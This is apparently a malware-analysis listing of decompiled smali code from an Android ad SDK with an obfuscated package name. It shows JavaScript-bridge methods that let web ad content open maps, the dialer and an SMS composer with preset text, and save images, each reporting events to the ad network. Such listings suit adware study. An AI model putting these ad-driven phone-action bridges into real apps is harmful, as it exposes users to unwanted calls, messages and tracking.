35 | sput-object p0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
37 | iget-object v3, p2, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
38 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
39 | iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
40 | iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
41 | iput-object p4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
43 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
45 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getAd_url()Ljava/lang/String; | |
46 | move-result-object v3 | |
47 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adUrl:Ljava/lang/String; | |
49 | invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode()Z | |
50 | move-result v3 | |
51 | iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z | |
52 | new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
54 | invoke-direct {v3}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;-><init>()V | |
55 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
57 | invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/AdView;->getPlacementType()Ljava/lang/String; | |
58 | move-result-object v3 | |
59 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String; | |
61 | invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources; | |
62 | move-result-object v3 | |
64 | invoke-virtual {v3}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics; | |
65 | move-result-object v3 | |
66 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
68 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
69 | iget v3, v3, Landroid/util/DisplayMetrics;->density:F | |
70 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
72 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String; | |
74 | const-string v4, "inline" | |
76 | invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
77 | move-result v3 | |
78 | if-eqz v3, :cond_f0 | |
80 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
81 | iget v3, v3, Landroid/util/DisplayMetrics;->widthPixels:I | |
82 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I | |
84 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
85 | move-result-object v3 | |
87 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->isTablet(Landroid/content/Context;)Z | |
88 | move-result v3 | |
89 | if-eqz v3, :cond_eb | |
90 | const/16 v3, 0x5a | |
91 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I | |
92 | goto_7c: iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I | |
93 | int-to-float v3, v3 | |
95 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
96 | move-result-object v4 | |
98 | invoke-static {v3, v4}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
99 | move-result v3 | |
100 | float-to-int v3, v3 | |
101 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->widthDp:I | |
102 | iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I | |
103 | int-to-float v3, v3 | |
105 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
106 | move-result-object v4 | |
108 | invoke-static {v3, v4}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
109 | move-result v3 | |
110 | float-to-int v3, v3 | |
111 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->heightDp:I | |
112 | goto_98: new-instance v3, Ljava/lang/StringBuilder; | |
114 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
116 | const-string v4, "Device Width:" | |
118 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
119 | move-result-object v3 | |
120 | iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I | |
122 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
123 | move-result-object v3 | |
125 | const-string v4, ", Device Height:" | |
127 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
128 | move-result-object v3 | |
129 | iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I | |
131 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
132 | move-result-object v3 | |
134 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
135 | move-result-object v3 | |
137 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
138 | new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
140 | invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
141 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
143 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->initSettting()V | |
145 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
147 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->getProperties()Ljava/lang/String; | |
148 | const/high16 v3, 0x42700000 # 60.0f | |
149 | iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
150 | mul-float/2addr v3, v4 | |
151 | float-to-int v1, v3 | |
153 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
154 | move-result-object v3 | |
156 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->isTablet(Landroid/content/Context;)Z | |
157 | move-result v3 | |
158 | if-eqz v3, :cond_e1 | |
159 | const/high16 v3, 0x42b40000 # 90.0f | |
160 | iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
161 | mul-float/2addr v3, v4 | |
162 | float-to-int v1, v3 | |
163 | cond_e1: new-instance v2, Landroid/widget/FrameLayout$LayoutParams; | |
164 | const/4 v3, -0x1 | |
166 | invoke-direct {v2, v3, v1}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
168 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
169 | return-void | |
170 | cond_eb: const/16 v3, 0x3c | |
171 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I | |
172 | goto/16 :goto_7c | |
173 | cond_f0: | |
174 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
175 | iget v3, v3, Landroid/util/DisplayMetrics;->widthPixels:I | |
176 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I | |
178 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
179 | iget v3, v3, Landroid/util/DisplayMetrics;->heightPixels:I | |
180 | iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I | |
181 | goto/16 :goto_7c | |
182 | catch_fd: move-exception v0 | |
184 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
185 | goto/16 :goto_98 | |
186 | catch_102: move-exception v3 | |
187 | goto/16 :goto_25 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "latitude" # Ljava/lang/String; | |
1 | .param p2, "longitude" # Ljava/lang/String; | |
2 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
3 | .end annotation | |
4 | .prologue | |
5 | const/4 v7, 0x1 | |
6 | try_start_1: | |
7 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
9 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
10 | move-result-object v3 | |
11 | if-eqz v3, :cond_12 | |
13 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
15 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
16 | move-result-object v3 | |
18 | invoke-interface {v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
19 | cond_12: | |
20 | sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale; | |
22 | const-string v4, "geo:%f,%f" | |
23 | const/4 v5, 0x2 | |
24 | new-array v5, v5, [Ljava/lang/Object; | |
25 | const/4 v6, 0x0 | |
26 | aput-object p1, v5, v6 | |
27 | const/4 v6, 0x1 | |
28 | aput-object p2, v5, v6 | |
30 | invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; |
|
31 | move-result-object v2 | |
32 | new-instance v1, Landroid/content/Intent; | |
34 | const-string v3, "android.intent.action.VIEW" | |
36 | invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
37 | move-result-object v4 | |
39 | invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
40 | const/high16 v3, 0x10000000 | |
42 | invoke-virtual {v1, v3}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
43 | const/high16 v3, 0x800000 | |
45 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
47 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
49 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
50 | move-result-object v3 | |
52 | invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
54 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
56 | const-string v4, "79" | |
58 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
59 | try_end_48: | |
60 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
62 | invoke-virtual {v3, v7}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
63 | return-void | |
64 | catch_4e: move-exception v0 | |
66 | const-string v3, "AirplayMraid" | |
67 | new-instance v4, Ljava/lang/StringBuilder; | |
69 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
71 | const-string v5, "Error occurred whlie displaying Location......: " | |
73 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
74 | move-result-object v4 | |
76 | invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
77 | move-result-object v5 | |
79 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
80 | move-result-object v4 | |
82 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
83 | move-result-object v4 | |
85 | invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
87 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
89 | const-string v4, "showLoaction" | |
91 | const-string v5, "Error occurred while showing location." | |
93 | invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
95 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
97 | const-string v4, "error" | |
99 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
100 | goto/16 :goto_48 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "number" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
4 | try_start_0: | |
5 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
7 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
8 | new-instance v3, Ljava/lang/StringBuilder; | |
10 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
12 | const-string v4, "tel:" | |
14 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
15 | move-result-object v3 | |
17 | invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
18 | move-result-object v3 | |
20 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
21 | move-result-object v3 | |
23 | invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
24 | move-result-object v2 | |
25 | new-instance v1, Landroid/content/Intent; | |
27 | const-string v3, "android.intent.action.DIAL" | |
29 | invoke-direct {v1, v3, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
30 | const/high16 v3, 0x10000000 | |
32 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
34 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
36 | iget-object v3, v3, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
38 | invoke-virtual {v3, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
40 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
41 | move-result-object v3 | |
43 | const-string v4, "DAU" | |
45 | invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
46 | move-result v3 | |
47 | if-nez v3, :cond_53 | |
49 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
50 | move-result-object v3 | |
52 | const-string v4, "DCC" | |
54 | invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
55 | move-result v3 | |
56 | if-nez v3, :cond_53 | |
58 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
59 | move-result-object v3 | |
61 | const-string v4, "DCM" | |
63 | invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
64 | move-result v3 | |
65 | if-eqz v3, :cond_62 | |
66 | cond_53: | |
67 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
69 | const-string v4, "44" | |
71 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
72 | goto_5a: | |
73 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
75 | iget-object v3, v3, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
77 | invoke-virtual {v3}, Landroid/app/Activity;->finish()V | |
78 | return-void | |
79 | try_start_62: | |
80 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
82 | const-string v4, "24" | |
84 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
85 | try_end_69: goto/16 :goto_5a | |
86 | catch_6a: move-exception v0 | |
88 | invoke-virtual {v0}, Landroid/content/ActivityNotFoundException;->printStackTrace()V | |
89 | goto/16 :goto_5a | |
90 | catch_6f: move-exception v3 | |
91 | goto/16 :goto_5a |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "number" # Ljava/lang/String; | |
1 | .param p2, "text" # Ljava/lang/String; | |
2 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
3 | .end annotation | |
4 | .prologue | |
5 | try_start_0: | |
6 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
8 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
9 | new-instance v1, Landroid/content/Intent; | |
11 | const-string v2, "android.intent.action.VIEW" | |
13 | invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
14 | const/high16 v2, 0x10000000 | |
16 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
18 | const-string v2, "vnd.android-dir/mms-sms" | |
20 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent; |
|
22 | const-string v2, "address" | |
24 | invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
26 | const-string v2, "sms_body" | |
28 | invoke-virtual {v1, v2, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
30 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
32 | iget-object v2, v2, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
34 | invoke-virtual {v2, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
36 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
37 | move-result-object v2 | |
39 | const-string v3, "DAU" | |
41 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
42 | move-result v2 | |
43 | if-nez v2, :cond_4b | |
45 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
46 | move-result-object v2 | |
48 | const-string v3, "DCC" | |
50 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
51 | move-result v2 | |
52 | if-nez v2, :cond_4b | |
54 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
55 | move-result-object v2 | |
57 | const-string v3, "DCM" | |
59 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
60 | move-result v2 | |
61 | if-eqz v2, :cond_53 | |
62 | cond_4b: | |
63 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
65 | const-string v3, "44" | |
67 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
68 | goto_52: return-void | |
69 | cond_53: | |
70 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
72 | const-string v3, "24" | |
74 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
75 | try_end_5a: goto/16 :goto_52 | |
76 | catch_5b: move-exception v0 | |
78 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
80 | iget-object v2, v2, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
82 | invoke-virtual {v2}, Landroid/app/Activity;->finish()V | |
84 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
85 | goto/16 :goto_52 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "imageURL" # Ljava/lang/String; | |
1 | .param p2, "fileNameWithExt" # Ljava/lang/String; | |
2 | .prologue | |
3 | const/4 v2, 0x0 | |
5 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
6 | try_start_4: | |
7 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
8 | if-eqz v2, :cond_d | |
10 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
12 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
13 | cond_d: if-eqz p1, :cond_17 | |
15 | const-string v2, "" | |
17 | invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
18 | move-result v2 | |
19 | if-eqz v2, :cond_1f | |
20 | cond_17: | |
21 | const-string v2, "storePicture" | |
23 | const-string v3, "Image url is null." | |
25 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
26 | cond_1e: return-void | |
27 | cond_1f: if-eqz p2, :cond_29 | |
29 | const-string v2, "" | |
31 | invoke-virtual {p2, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
32 | move-result v2 | |
33 | if-eqz v2, :cond_4c | |
34 | cond_29: | |
35 | const-string v2, "storePicture" | |
37 | const-string v3, "File name is null." | |
39 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
40 | try_end_30: goto/16 :goto_1e | |
41 | catch_31: move-exception v1 | |
43 | const-string v2, "storePicture" | |
45 | const-string v3, "Error occured while storing picture." | |
47 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
49 | const-string v2, "error" | |
51 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
53 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
54 | if-eqz v2, :cond_47 | |
56 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
58 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V | |
59 | cond_47: const/4 v2, 0x1 | |
61 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
62 | goto/16 :goto_1e | |
63 | cond_4c: | |
64 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
65 | move-result-object v2 | |
66 | instance-of v2, v2, Landroid/app/Activity; | |
67 | if-eqz v2, :cond_1e | |
68 | new-instance v0, Landroid/app/AlertDialog$Builder; | |
70 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
71 | move-result-object v2 | |
73 | invoke-direct {v0, v2}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
75 | const-string v2, "This image will be added in gallery. Please confirm ?" | |
77 | invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; |
|
79 | const-string v2, "Yes" | |
80 | new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$2; | |
82 | invoke-direct {v3, p0, p1, p2}, Lcom/vxjxu/jkhfn1870/MraidView$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Ljava/lang/String;Ljava/lang/String;)V | |
84 | invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
86 | const-string v2, "No" | |
87 | new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$3; | |
89 | invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/MraidView$3;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
91 | invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
92 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$4; | |
94 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$4;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
96 | invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setOnCancelListener(Landroid/content/DialogInterface$OnCancelListener;)Landroid/app/AlertDialog$Builder; | |
97 | const/4 v2, 0x0 | |
99 | invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setCancelable(Z)Landroid/app/AlertDialog$Builder; |
|
101 | invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog; | |
102 | try_end_85: goto/16 :goto_1e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
4 | try_start_0: | |
5 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
7 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
8 | move-result-object v2 | |
9 | if-eqz v2, :cond_11 | |
11 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
13 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
14 | move-result-object v2 | |
16 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
17 | cond_11: new-instance v1, Landroid/content/Intent; | |
19 | const-string v2, "android.intent.action.VIEW" | |
